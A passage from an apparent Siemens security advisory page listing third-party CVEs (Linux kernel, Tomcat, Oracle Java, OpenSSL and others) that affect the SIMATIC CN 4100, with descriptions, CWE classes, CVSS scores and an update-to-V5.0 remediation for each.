...... pstate: 60400005 (nZCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : __mark_inode_dirty+0x124/0x418 lr : __mark_inode_dirty+0x118/0x418 sp : ffffffc08c9dbbc0 ........ Call trace: __mark_inode_dirty+0x124/0x418 generic_update_time+0x4c/0x60 file_modified+0xcc/0xd0 ext4_buffered_write_iter+0x58/0x124 ext4_file_write_iter+0x54/0x704 vfs_write+0x1c0/0x308 ksys_write+0x74/0x10c __arm64_sys_write+0x1c/0x28 invoke_syscall+0x48/0x114 el0_svc_common.constprop.0+0xc0/0xe0 do_el0_svc+0x1c/0x28 el0_svc+0x40/0xe4 el0t_64_sync_handler+0x120/0x12c el0t_64_sync+0x194/0x198 Root cause is: systemd-random-seed kworker ---------------------------------------------------------------------- ___mark_inode_dirty inode_switch_wbs_work_fn spin_lock(&inode->i_lock); inode_attach_wb locked_inode_to_wb_and_lock_list get inode->i_wb spin_unlock(&inode->i_lock); spin_lock(&wb->list_lock) spin_lock(&inode->i_lock) inode_io_list_move_locked spin_unlock(&wb->list_lock) spin_unlock(&inode->i_lock) spin_lock(&old_wb->list_lock) inode_do_switch_wbs spin_lock(&inode->i_lock) inode->i_wb = new_wb spin_unlock(&inode->i_lock) spin_unlock(&old_wb->list_lock) wb_put_many(old_wb, nr_switched) cgwb_release old wb released wb_wakeup_delayed() accesses wb, then trigger the use-after-free issue Fix this race condition by holding inode spinlock until wb_wakeup_delayed() finished.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-40300\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: x86/vmscape: Add conditional IBPB mitigation VMSCAPE is a vulnerability that exploits insufficient branch predictor isolation between a guest and a userspace hypervisor (like QEMU). Existing mitigations already protect kernel/KVM from a malicious guest. Userspace can additionally be protected by flushing the branch predictors after a VMexit. Since it is the userspace that consumes the poisoned branch predictors, conditionally issue an IBPB after a VMexit and before returning to userspace. Workloads that frequently switch between hypervisor and userspace will incur the most overhead from the new IBPB. This new IBPB is not integrated with the existing IBPB sites. For instance, a task can use the existing speculation control prctl() to get an IBPB at context switch time. With this implementation, the IBPB is doubled up: one at context switch and another before running userspace. The intent is to integrate and optimize these cases post-embargo. [ dhansen: elaborate on suboptimal IBPB solution ]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-402 Transmission of Private Resources into a New Sphere ('Resource Leak')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-43368\n<div class=\"csaf-accordion-content\">\n\nA use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 26, iOS 26 and iPadOS 26, macOS Tahoe 26. Processing maliciously crafted web content may lead to an unexpected Safari crash.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.3\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-47219\n<div class=\"csaf-accordion-content\">\n\nIn GStreamer through 1.26.1, the isomp4 plugin's qtdemux_parse_trak function may read past the end of a heap buffer while parsing an MP4 file, possibly leading to information disclosure.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n8.1\nHIGH\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-48989\n<div class=\"csaf-accordion-content\">\n\nImproper Resource Shutdown or Release vulnerability in Apache Tomcat made Tomcat vulnerable to the made you reset attack. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.9, from 10.1.0-M1 through 10.1.43 and from 9.0.0.M1 through 9.0.107. Older, EOL versions may also be affected. Users are recommended to upgrade to one of versions 11.0.10, 10.1.44 or 9.0.108 which fix the issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-404 Improper Resource Shutdown or Release\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-53057\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Security). Supported versions that are affected are Oracle Java SE: 8u461, 8u461-perf, 11.0.28, 17.0.16, 21.0.8, 25; Oracle GraalVM for JDK: 17.0.16 and 21.0.8; Oracle GraalVM Enterprise Edition: 21.3.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 5.9 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-284 Improper Access Control\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.9\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-53066\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JAXP). Supported versions that are affected are Oracle Java SE: 8u461, 8u461-perf, 11.0.28, 17.0.16, 21.0.8, 25; Oracle GraalVM for JDK: 17.0.16 and 21.0.8; Oracle GraalVM Enterprise Edition: 21.3.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-200 Exposure of Sensitive Information to an Unauthorized Actor\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-55752\n<div class=\"csaf-accordion-content\">\n\nRelative Path Traversal vulnerability in Apache Tomcat. The fix for bug 60013 introduced a regression where the rewritten URL was normalized before it was decoded. This introduced the possibility that, for rewrite rules that rewrite query parameters to the URL, an attacker could manipulate the request URI to bypass security constraints including the protection for /WEB-INF/ and /META-INF/. If PUT requests were also enabled then malicious files could be uploaded leading to remote code execution. PUT requests are normally limited to trusted users and it is considered unlikely that PUT requests would be enabled in conjunction with a rewrite that manipulated the URI. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.0.M11 through 9.0.108. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.6 though 8.5.100. Other, older, EOL versions may also be affected. Users are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-23 Relative Path Traversal\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-55754\n<div class=\"csaf-accordion-content\">\n\nImproper Neutralization of Escape, Meta, or Control Sequences vulnerability in Apache Tomcat. Tomcat did not escape ANSI escape sequences in log messages. If Tomcat was running in a console on a Windows operating system, and the console supported ANSI escape sequences, it was possible for an attacker to use a specially crafted URL to inject ANSI escape sequences to manipulate the console and the clipboard and attempt to trick an administrator into running an attacker controlled command. While no attack vector was found, it may have been possible to mount this attack on other operating systems. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.40 through 9.0.108. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.60 though 8.5.100. Other, older, EOL versions may also be affected. Users are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-150 Improper Neutralization of Escape, Meta, or Control Sequences\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n9.6\nCRITICAL\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-61748\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Libraries). Supported versions that are affected are Oracle Java SE: 21.0.8 and 25; Oracle GraalVM for JDK: 21.0.8; Oracle GraalVM Enterprise Edition: 21.3.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 3.7 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-284 Improper Access Control\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n3.7\nLOW\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-61795\n<div class=\"csaf-accordion-content\">\n\nImproper Resource Shutdown or Release vulnerability in Apache Tomcat. If an error occurred (including exceeding limits) during the processing of a multipart upload, temporary copies of the uploaded parts written to disc were not cleaned up immediately but left for the garbage collection process to delete. Depending on JVM settings, application memory usage and application load, it was possible that space for the temporary copies of uploaded parts would be filled faster than GC cleared it, leading to a DoS. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.11, from 10.1.0-M1 through 10.1.46, from 9.0.0.M1 through 9.0.109. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.0 though 8.5.100. Other, older, EOL versions may also be affected. Users are recommended to upgrade to version 11.0.12 or later, 10.1.47 or later or 9.0.110 or later which fixes the issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-404 Improper Resource Shutdown or Release\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.3\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-2673\n<div class=\"csaf-accordion-content\">\n\nIssue summary: An OpenSSL TLS 1.3 server may fail to negotiate the expected preferred key exchange group when its key exchange group configuration includes the default by using the 'DEFAULT' keyword. Impact summary: A less preferred key exchange may be used even when a more preferred group is supported by both client and server, if the group was not included among the client's initial predicated keyshares. This will sometimes be the case with the new hybrid post-quantum groups, if the client chooses to defer their use until specifically requested by the server. If an OpenSSL TLS 1.3 server's configuration uses the 'DEFAULT' keyword to interpolate the built-in default group list into its own configuration, perhaps adding or removing specific elements, then an implementation defect causes the 'DEFAULT' list to lose its 'tuple' structure, and all server-supported groups were treated as a single sufficiently secure 'tuple', with the server not sending a Hello Retry Request (HRR) even when a group in a more preferred tuple was mutually supported. As a result, the client and server might fail to negotiate a mutually supported post-quantum key agreement group, such as 'X25519MLKEM768', if the client's configuration results in only 'classical' groups (such as 'X25519' being the only ones in the client's initial keyshare prediction). OpenSSL 3.5 and later support a new syntax for selecting the most preferred TLS 1.3 key agreement group on TLS servers. The old syntax had a single 'flat' list of groups, and treated all the supported groups as sufficiently secure. If any of the keyshares predicted by the client were supported by the server the most preferred among these was selected, even if other groups supported by the client, but not included in the list of predicted keyshares would have been more preferred, if included. The new syntax partitions the groups into distinct 'tuples' of roughly equivalent security. Within each tuple the most preferred group included among the client's predicted keyshares is chosen, but if the client supports a group from a more preferred tuple, but did not predict any corresponding keyshares, the server will ask the client to retry the ClientHello (by issuing a Hello Retry Request or HRR) with the most preferred mutually supported group. The above works as expected when the server's configuration uses the built-in default group list, or explicitly defines its own list by directly defining the various desired groups and group 'tuples'. No OpenSSL FIPS modules are affected by this issue, the code in question lies outside the FIPS boundary. OpenSSL 3.6 and 3.5 are vulnerable to this issue. OpenSSL 3.6 users should upgrade to OpenSSL 3.6.2 once it is released. OpenSSL 3.5 users should upgrade to OpenSSL 3.5.6 once it is released. OpenSSL 3.4, 3.3, 3.0, 1.0.2 and 1.1.1 are not affected by this issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-757 Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21925\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: RMI). Supported versions that are affected are Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9, 25.0.1; Oracle GraalVM for JDK: 17.0.17 and 21.0.9; Oracle GraalVM Enterprise Edition: 21.3.16. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data as well as unauthorized read access to a subset of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 4.8 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.8\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21932\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: AWT, JavaFX). Supported versions that are affected are Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9, 25.0.1; Oracle GraalVM for JDK: 17.0.17 and 21.0.9; Oracle GraalVM Enterprise Edition: 21.3.16. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 7.4 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.4\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21933\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Networking). Supported versions that are affected are Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9, 25.0.1; Oracle GraalVM for JDK: 17.0.17 and 21.0.9; Oracle GraalVM Enterprise Edition: 21.3.16. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data as well as unauthorized read access to a subset of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.1\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21945\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Security). Supported versions that are affected are Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9, 25.0.1; Oracle GraalVM for JDK: 17.0.17 and 21.0.9; Oracle GraalVM Enterprise Edition: 21.3.16. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later 